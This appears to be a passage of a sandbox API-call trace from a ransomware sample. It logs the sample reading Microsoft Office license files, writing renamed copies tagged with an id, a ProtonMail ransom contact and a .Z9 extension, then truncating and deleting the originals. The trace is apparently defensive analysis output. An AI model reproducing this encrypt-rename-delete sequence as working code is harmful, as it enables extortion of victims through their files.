	[0177.140] lstrlenW (lpString=".pdf") returned 4
	[0177.140] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.140] lstrlenW (lpString=".xls") returned 4
	[0177.141] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.141] lstrlenW (lpString=".xlsx") returned 5
	[0177.141] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.141] lstrlenW (lpString=".ppt") returned 4
	[0177.141] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0177.141] lstrlenW (lpString=".zip") returned 4
	[0177.141] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.141] lstrlenW (lpString=".rar") returned 4
	[0177.141] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.141] lstrlenW (lpString=".bz2") returned 4
	[0177.141] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.141] lstrlenW (lpString=".7z") returned 3
	[0177.141] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0177.141] lstrlenW (lpString=".dbf") returned 4
	[0177.141] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0177.141] lstrlenW (lpString=".1cd") returned 4
	[0177.141] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0177.141] lstrlenW (lpString=".jpg") returned 4
	[0177.141] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0177.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0177.142] lstrlenW (lpString=".doc") returned 4
	[0177.142] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.142] lstrlenW (lpString=".docx") returned 5
	[0177.142] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.142] lstrlenW (lpString=".pdf") returned 4
	[0177.142] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.142] lstrlenW (lpString=".xls") returned 4
	[0177.142] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.142] lstrlenW (lpString=".xlsx") returned 5
	[0177.142] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.142] lstrlenW (lpString=".ppt") returned 4
	[0177.142] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0177.142] lstrlenW (lpString=".zip") returned 4
	[0177.142] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.142] lstrlenW (lpString=".rar") returned 4
	[0177.142] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.142] lstrlenW (lpString=".bz2") returned 4
	[0177.142] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.142] lstrlenW (lpString=".7z") returned 3
	[0177.142] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0177.142] lstrlenW (lpString=".dbf") returned 4
	[0177.142] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0177.143] lstrlenW (lpString=".1cd") returned 4
	[0177.143] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74
	[0177.143] lstrlenW (lpString=".jpg") returned 4
	[0177.143] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.143] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0177.143] lstrlenW (lpString="ExcelVL_KMS_Client-ppd.xrm-ms") returned 29
	[0177.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0177.144] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=6860) returned 1
	[0177.144] CloseHandle (hObject=0x36c) returned 1
	[0177.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 0x220
	[0177.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0177.146] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.146] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0177.147] GetLastError () returned 0x0
	[0177.147] ReadFile (in: hFile=0x36c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x1acc, lpOverlapped=0x0) returned 1
	[0177.153] WriteFile (in: hFile=0x3c8, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x1ad0, lpOverlapped=0x0) returned 1
	[0177.155] ReadFile (in: hFile=0x36c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.155] WriteFile (in: hFile=0x3c8, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0177.156] SetEndOfFile (hFile=0x3c8) returned 1
	[0177.157] CloseHandle (hObject=0x3c8) returned 1
	[0177.161] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.161] SetEndOfFile (hFile=0x36c) returned 1
	[0177.170] CloseHandle (hObject=0x36c) returned 1
	[0177.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0177.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 1
	[0177.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0177.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0177.176] lstrlenW (lpString=".doc") returned 4
	[0177.176] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.176] lstrlenW (lpString=".docx") returned 5
	[0177.176] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.176] lstrlenW (lpString=".pdf") returned 4
	[0177.176] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.176] lstrlenW (lpString=".xls") returned 4
	[0177.176] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.176] lstrlenW (lpString=".xlsx") returned 5
	[0177.176] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.176] lstrlenW (lpString=".ppt") returned 4
	[0177.176] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0177.176] lstrlenW (lpString=".zip") returned 4
	[0177.176] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.176] lstrlenW (lpString=".rar") returned 4
	[0177.177] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.177] lstrlenW (lpString=".bz2") returned 4
	[0177.177] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.177] lstrlenW (lpString=".7z") returned 3
	[0177.177] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0177.177] lstrlenW (lpString=".dbf") returned 4
	[0177.177] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0177.177] lstrlenW (lpString=".1cd") returned 4
	[0177.177] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0177.177] lstrlenW (lpString=".jpg") returned 4
	[0177.177] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0177.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0177.177] lstrlenW (lpString=".doc") returned 4
	[0177.177] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.177] lstrlenW (lpString=".docx") returned 5
	[0177.177] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.177] lstrlenW (lpString=".pdf") returned 4
	[0177.177] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.177] lstrlenW (lpString=".xls") returned 4
	[0177.177] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.177] lstrlenW (lpString=".xlsx") returned 5
	[0177.177] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.178] lstrlenW (lpString=".ppt") returned 4
	[0177.178] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0177.178] lstrlenW (lpString=".zip") returned 4
	[0177.178] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.178] lstrlenW (lpString=".rar") returned 4
	[0177.178] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.178] lstrlenW (lpString=".bz2") returned 4
	[0177.178] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.178] lstrlenW (lpString=".7z") returned 3
	[0177.178] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0177.178] lstrlenW (lpString=".dbf") returned 4
	[0177.178] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0177.178] lstrlenW (lpString=".1cd") returned 4
	[0177.178] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0177.178] lstrlenW (lpString=".jpg") returned 4
	[0177.178] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.179] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0177.179] lstrlenW (lpString="ExcelVL_KMS_Client-ul.xrm-ms") returned 28
	[0177.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0177.180] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=9601) returned 1
	[0177.180] CloseHandle (hObject=0x36c) returned 1
	[0177.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 0x220
	[0177.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0177.181] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.181] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0177.183] GetLastError () returned 0x0
	[0177.183] ReadFile (in: hFile=0x36c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2581, lpOverlapped=0x0) returned 1
	[0177.186] WriteFile (in: hFile=0x37c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2590, lpOverlapped=0x0) returned 1
	[0177.187] ReadFile (in: hFile=0x36c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.187] WriteFile (in: hFile=0x37c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0177.188] SetEndOfFile (hFile=0x37c) returned 1
	[0177.188] CloseHandle (hObject=0x37c) returned 1
	[0177.188] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.188] SetEndOfFile (hFile=0x36c) returned 1
	[0177.192] CloseHandle (hObject=0x36c) returned 1
	[0177.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0177.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 1
	[0177.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0177.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0177.522] lstrlenW (lpString=".doc") returned 4
	[0177.522] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.522] lstrlenW (lpString=".docx") returned 5
	[0177.522] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.522] lstrlenW (lpString=".pdf") returned 4
	[0177.522] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.522] lstrlenW (lpString=".xls") returned 4
	[0177.522] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.522] lstrlenW (lpString=".xlsx") returned 5
	[0177.522] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.522] lstrlenW (lpString=".ppt") returned 4
	[0177.522] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0177.522] lstrlenW (lpString=".zip") returned 4
	[0177.522] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.522] lstrlenW (lpString=".rar") returned 4
	[0177.522] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.522] lstrlenW (lpString=".bz2") returned 4
	[0177.522] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.522] lstrlenW (lpString=".7z") returned 3
	[0177.522] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0177.523] lstrlenW (lpString=".dbf") returned 4
	[0177.523] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0177.523] lstrlenW (lpString=".1cd") returned 4
	[0177.523] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0177.523] lstrlenW (lpString=".jpg") returned 4
	[0177.523] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0177.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0177.523] lstrlenW (lpString=".doc") returned 4
	[0177.523] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.523] lstrlenW (lpString=".docx") returned 5
	[0177.523] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.523] lstrlenW (lpString=".pdf") returned 4
	[0177.523] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.523] lstrlenW (lpString=".xls") returned 4
	[0177.523] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.523] lstrlenW (lpString=".xlsx") returned 5
	[0177.523] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.523] lstrlenW (lpString=".ppt") returned 4
	[0177.524] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0177.524] lstrlenW (lpString=".zip") returned 4
	[0177.524] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.524] lstrlenW (lpString=".rar") returned 4
	[0177.524] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.524] lstrlenW (lpString=".bz2") returned 4
	[0177.524] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.524] lstrlenW (lpString=".7z") returned 3
	[0177.524] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0177.524] lstrlenW (lpString=".dbf") returned 4
	[0177.524] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0177.524] lstrlenW (lpString=".1cd") returned 4
	[0177.524] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0177.525] lstrlenW (lpString=".jpg") returned 4
	[0177.525] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.525] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0177.525] lstrlenW (lpString="ExcelVL_MAK-ul-phn.xrm-ms") returned 25
	[0177.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0177.527] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=19921) returned 1
	[0177.527] CloseHandle (hObject=0x37c) returned 1
	[0177.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 0x220
	[0177.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0177.531] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.531] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0177.532] GetLastError () returned 0x0
	[0177.532] ReadFile (in: hFile=0x37c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x4dd1, lpOverlapped=0x0) returned 1
	[0177.536] WriteFile (in: hFile=0x548, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0177.538] ReadFile (in: hFile=0x37c, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.538] WriteFile (in: hFile=0x548, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x106, lpOverlapped=0x0) returned 1
	[0177.538] SetEndOfFile (hFile=0x548) returned 1
	[0177.539] CloseHandle (hObject=0x548) returned 1
	[0177.539] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.539] SetEndOfFile (hFile=0x37c) returned 1
	[0177.545] CloseHandle (hObject=0x37c) returned 1
